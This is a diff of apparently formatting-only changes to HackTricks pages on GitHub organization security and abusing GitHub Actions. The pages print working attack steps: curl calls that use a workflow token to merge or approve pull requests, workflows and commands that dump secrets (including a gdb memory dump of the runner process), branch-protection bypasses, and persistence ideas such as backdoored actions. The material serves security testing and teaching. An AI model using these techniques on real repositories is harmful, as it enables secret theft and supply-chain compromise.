-* **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
-  * _I couldn't find an API with this info, share if you do_
-* **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB\_TOKEN given to running workflows.
-  * [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
+  - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
+  - _I couldn't find an API with this info, share if you do_
+- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
+  - _I couldn't find an API with this info, share if you do_
+- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
+  - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
 
 ### Integrations
 
 _Let me know if you know the API endpoint to access this info!_
 
-* **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-* **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
+- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
 
 ## Recon & Attacks abusing credentials
 
@@ -128,9 +113,8 @@ If you somehow already have credentials for a user inside an organization you ca
 
 Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
 
-{% hint style="info" %}
-Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
-{% endhint %}
+> [!NOTE]
+> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
 
 Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
 
@@ -146,7 +130,7 @@ With this key you can perform **changes in repositories where the user has some
 git config --list
 ```
 
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github\_username>.keys_, you could check this to confirm the private key you found can be used.
+If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
 
 **SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
 
@@ -190,23 +174,23 @@ Moreover, as explained in the basic information, **organizations can give/deny a
 
 There are several techniques to compromise and abuse a Github Action, check them here:
 
-{% content-ref url="abusing-github-actions/" %}
-[abusing-github-actions](abusing-github-actions/)
-{% endcontent-ref %}
+{{#ref}}
+abusing-github-actions/
+{{#endref}}
 
 ## Branch Protection Bypass
 
-* **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB\_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
-  * _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-* **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-* **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
-  * When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-* **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-* **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-* **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-* **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-* **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
-  * If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
+  - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
+- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
+- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
+  - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
+- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
+- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
+- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
+- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
+- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
+  - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
 
 ## Bypass Environments Protections
 
@@ -217,24 +201,24 @@ In case an environment can be **accessed from all the branches**, it's **isn't p
 Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
 
 ```yaml
-  push: # Run it when a push is made to a branch
-    branches:
-      - current_branch_name #Use '**' to run when a push is made to any branch
+push: # Run it when a push is made to a branch
+  branches:
+    - current_branch_name #Use '**' to run when a push is made to any branch
 ```
 
 Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
 
 ## Persistence
 
-* Generate **user token**
-* Steal **github tokens** from **secrets**
-  * **Deletion** of workflow **results** and **branches**
-* Give **more permissions to all the org**
-* Create **webhooks** to exfiltrate information
-* Invite **outside collaborators**
-* **Remove** **webhooks** used by the **SIEM**
-* Create/modify **Github Action** with a **backdoor**
-* Find **vulnerable Github Action to command injection** via **secret** value modification
+- Generate **user token**
+- Steal **github tokens** from **secrets**
+  - **Deletion** of workflow **results** and **branches**
+- Give **more permissions to all the org**
+- Create **webhooks** to exfiltrate information
+- Invite **outside collaborators**
+- **Remove** **webhooks** used by the **SIEM**
+- Create/modify **Github Action** with a **backdoor**
+- Find **vulnerable Github Action to command injection** via **secret** value modification
 
 ### Imposter Commits - Backdoor via repo commits
 
@@ -246,28 +230,15 @@ Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1eb
 name: example
 on: [push]
 jobs:
- commit:
-   runs-on: ubuntu-latest
-   steps:
-     - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
-     - shell: bash
-       run: |
-         echo 'hello world!'
+  commit:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+      - shell: bash
+        run: |
+          echo 'hello world!'
 ```
 
 For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
similarity index 65%
rename from pentesting-ci-cd/github-security/abusing-github-actions/README.md
rename to src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index f6d755b44..a9f7633d1 100644
--- a/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,31 +1,18 @@
 # Abusing Github Actions
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 In this page you will find:
 
-* A **summary of all the impacts** of an attacker managing to access a Github Action
-* Different ways to **get access to an action**:
-  * Having **permissions** to create the action
-  * Abusing **pull request** related triggers
-  * Abusing **other external access** techniques
-  * **Pivoting** from an already compromised repo
-* Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- A **summary of all the impacts** of an attacker managing to access a Github Action
+- Different ways to **get access to an action**:
+  - Having **permissions** to create the action
+  - Abusing **pull request** related triggers
+  - Abusing **other external access** techniques
+  - **Pivoting** from an already compromised repo
+- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
 
 ## Impacts Summary
 
@@ -33,45 +20,46 @@ For an introduction about [**Github Actions check the basic information**](../ba
 
 If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
 
-* **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-* **Compromise deployments** and other **artifacts**.
-  * If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-* **Execute code in custom workers** to abuse computing power and pivot to other systems.
-* **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
+- **Compromise deployments** and other **artifacts**.
+  - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
+- **Execute code in custom workers** to abuse computing power and pivot to other systems.
+- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
 
-## GITHUB\_TOKEN
+## GITHUB_TOKEN
 
 This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
 
-<figure><img src="../../../.gitbook/assets/image (86).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
 This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
-{% hint style="warning" %}
-Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
-{% endhint %}
+> [!WARNING]
+> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github\_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
 Note that the token **expires after the job has completed**.\
 These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
 Some interesting things you can do with this token:
 
-{% tabs %}
-{% tab title="Merge PR" %}
+{{#tabs }}
+{{#tab name="Merge PR" }}
+
 ```bash
 # Merge PR
 curl -X PUT \
     https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
     -H "Accept: application/vnd.github.v3+json" \
     --header "authorization: Bearer $GITHUB_TOKEN" \
-    --header 'content-type: application/json' \
-    -d '{"commit_title":"commit_title"}'
+    --header "content-type: application/json" \
+    -d "{\"commit_title\":\"commit_title\"}"
 ```
-{% endtab %}
 
-{% tab title="Approve PR" %}
+{{#endtab }}
+{{#tab name="Approve PR" }}
+
 ```bash
 # Approve a PR
 curl -X POST \
@@ -81,9 +69,10 @@ curl -X POST \
     --header 'content-type: application/json' \
     -d '{"event":"APPROVE"}'
 ```
-{% endtab %}
 
-{% tab title="Create PR" %}
+{{#endtab }}
+{{#tab name="Create PR" }}
+
 ```bash
 # Create a PR
 curl -X POST \
@@ -93,12 +82,12 @@ curl -X POST \
   https://api.github.com/repos/<org_name>/<repo_name>/pulls \
   -d '{"head":"<branch_name>","base":"master", "title":"title"}'
 ```
-{% endtab %}
-{% endtabs %}
 
-{% hint style="danger" %}
-Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
-{% endhint %}
+{{#endtab }}
+{{#endtabs }}
+
+> [!CAUTION]
+> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
 
 <details>
 
@@ -110,11 +99,11 @@ on:
   workflow_dispatch: # Launch manually
   pull_request: #Run it when a PR is created to a branch
     branches:
-      - '**'
+      - "**"
   push: # Run it when a push is made to a branch
     branches:
-      - '**'
-jobs:     
+      - "**"
+jobs:
   List_env:
     runs-on: ubuntu-latest
     steps:
@@ -138,11 +127,11 @@ on:
   workflow_dispatch: # Launch manually
   pull_request: #Run it when a PR is created to a branch
     branches:
-      - '**'
+      - "**"
   push: # Run it when a push is made to a branch
     branches:
-      - '**'
-jobs:     
+      - "**"
+jobs:
   create_pull_request:
     runs-on: ubuntu-latest
     steps:
@@ -157,15 +146,14 @@ jobs:
 
 It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
 
-<figure><img src="../../../.gitbook/assets/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Allowed Execution
 
-{% hint style="info" %}
-This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
-
-If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
-{% endhint %}
+> [!NOTE]
+> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+>
+> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
 
 ### Execution from Repo Creation
 
@@ -186,29 +174,26 @@ on:
   push: # Run it when a push is made to a branch
     branches:
       - current_branch_name
-
 # Use '**' instead of a branh name to trigger the action in all the cranches
 ```
 
-***
+---
 
 ## Forked Execution
 
-{% hint style="info" %}
-There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
-{% endhint %}
+> [!NOTE]
+> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
 
 ### `pull_request`
 
 The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
 
-<figure><img src="../../../.gitbook/assets/image (184).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="info" %}
-As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
-
-**I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
-{% endhint %}
+> [!NOTE]
+> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+>
+> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
 
 Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
@@ -216,9 +201,8 @@ Moreover, by default **prevents write permissions** and **secrets access** to th
 
 An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
 
-{% hint style="danger" %}
-**Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
-{% endhint %}
+> [!CAUTION]
+> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
 
 As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
 
@@ -235,7 +219,7 @@ An this one will have **access to secrets**.
 
 ### `workflow_run`
 
-The [**workflow\_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
 In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
 
@@ -256,7 +240,7 @@ The second one consist on **passing** an **artifact** from the **untrusted** cod
 
 TODO
 
-TODO: Check if when executed from a pull\_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
 ## Abusing Forked Execution
 
@@ -268,9 +252,8 @@ In the case of **`pull_request`,** the workflow is going to be executed in the *
 
 In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
 
-{% hint style="danger" %}
-However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
-{% endhint %}
+> [!CAUTION]
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -302,27 +285,26 @@ jobs:
 
 The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
 
-{% hint style="warning" %}
-A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
-{% endhint %}
+> [!WARNING]
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
 Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
 
-{% content-ref url="gh-actions-context-script-injections.md" %}
-[gh-actions-context-script-injections.md](gh-actions-context-script-injections.md)
-{% endcontent-ref %}
+{{#ref}}
+gh-actions-context-script-injections.md
+{{#endref}}
 
-### **GITHUB\_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
 From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD\_PRELOAD** or **NODE\_OPTIONS**.
+If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
 
 For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
 
-<figure><img src="../../../.gitbook/assets/image (261).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Vulnerable Third Party Github Actions
 
@@ -336,25 +318,25 @@ Example of vulnerable workflow:
 
 ```yaml
 on:
-    workflow_run:
-        workflows: ["some workflow"]
-        types:
-            - completed
-            
+  workflow_run:
+    workflows: ["some workflow"]
+    types:
+      - completed
+
 jobs:
-    success:
-        runs-on: ubuntu-latest
-        steps:
-            - uses: actions/checkout@v2
-            - name: download artifact
-              uses: dawidd6/action-download-artifact
-              with:
-                workflow: ${{ github.event.workflow_run.workflow_id }}
-                name: artifact
-            - run: python ./script.py
-              with:
-                  name: artifact
-                  path: ./script.py
+  success:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - name: download artifact
+        uses: dawidd6/action-download-artifact
+        with:
+          workflow: ${{ github.event.workflow_run.workflow_id }}
+          name: artifact
+      - run: python ./script.py
+        with:
+          name: artifact
+          path: ./script.py
 ```
 
 This could be attacked with this workflow:
@@ -374,7 +356,7 @@ jobs:
                 path: ./script.py
 ```
 
-***
+---
 
 ## Other External Access
 
@@ -382,37 +364,35 @@ jobs:
 
 If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
-{% hint style="danger" %}
-So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
-{% endhint %}
+> [!CAUTION]
+> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
 
 If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
-***
+---
 
 ## Repo Pivoting
 
-{% hint style="info" %}
-In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
-{% endhint %}
+> [!NOTE]
+> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
 
 ### Cache Poisoning
 
 A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
 
-{% content-ref url="gh-actions-cache-poisoning.md" %}
-[gh-actions-cache-poisoning.md](gh-actions-cache-poisoning.md)
-{% endcontent-ref %}
+{{#ref}}
+gh-actions-cache-poisoning.md
+{{#endref}}
 
 ### Artifact Poisoning
 
 Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
 
-{% content-ref url="gh-actions-artifact-poisoning.md" %}
-[gh-actions-artifact-poisoning.md](gh-actions-artifact-poisoning.md)
-{% endcontent-ref %}
+{{#ref}}
+gh-actions-artifact-poisoning.md
+{{#endref}}
 
-***
+---
 
 ## Post Exploitation from an Action
 
@@ -420,19 +400,19 @@ Workflows could use **artifacts from other workflows and even repos**, if an att
 
 Check the following pages:
 
-{% content-ref url="../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md" %}
-[aws-federation-abuse.md](../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
-{% endcontent-ref %}
+{{#ref}}
+../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+{{#endref}}
 
-{% content-ref url="../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md" %}
-[gcp-federation-abuse.md](../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md)
-{% endcontent-ref %}
+{{#ref}}
+../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
+{{#endref}}
 
 ### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
 If you are injecting content into a script it's interesting to know how you can access secrets:
 
-* If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
 
 <details>
 
@@ -448,7 +428,7 @@ on:
   push: # Run it when a push is made to a branch
     branches:
       - '**'
-jobs:     
+jobs:
   List_env:
     runs-on: ubuntu-latest
     steps:
@@ -473,11 +453,11 @@ on:
   workflow_dispatch: # Launch manually
   pull_request: #Run it when a PR is created to a branch
     branches:
-      - '**'
+      - "**"
   push: # Run it when a push is made to a branch
     branches:
-      - '**'
-jobs:     
+      - "**"
+jobs:
   create_pull_request:
     runs-on: ubuntu-latest
     steps:
@@ -490,21 +470,21 @@ jobs:
 
 </details>
 
-* If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
-  * ```bash
+- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
+  - ```bash
     cat /home/runner/work/_temp/*
     ```
-* For a JavaScript actions the secrets and sent through environment variables
-  * ```bash
+- For a JavaScript actions the secrets and sent through environment variables
+  - ```bash
     ps axe | grep node
     ```
-*   For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
-    ```yaml
-    uses: fakeaction/publish@v3
-    with:
-        key: ${{ secrets.PUBLISH_KEY }}
-    ```
+  ```yaml
+  uses: fakeaction/publish@v3
+  with:
+    key: ${{ secrets.PUBLISH_KEY }}
+  ```
 
 ### Abusing Self-hosted runners
 
@@ -514,12 +494,10 @@ The way to find which **Github Actions are being executed in non-github infrastr
 
 In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
 
-{% code overflow="wrap" %}
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-{% endcode %}
 
 Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
@@ -574,7 +552,9 @@ docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 
 Then, the user could search for **leaked secrets in the Docker image layers:**
 
-{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics" %}
+{{#ref}}
+https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+{{#endref}}
 
 ### Sensitive info in Github Actions logs
 
@@ -586,30 +566,16 @@ Even if **Github** try to **detect secret values** in the actions logs and **avo
 
 An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
 
-{% hint style="warning" %}
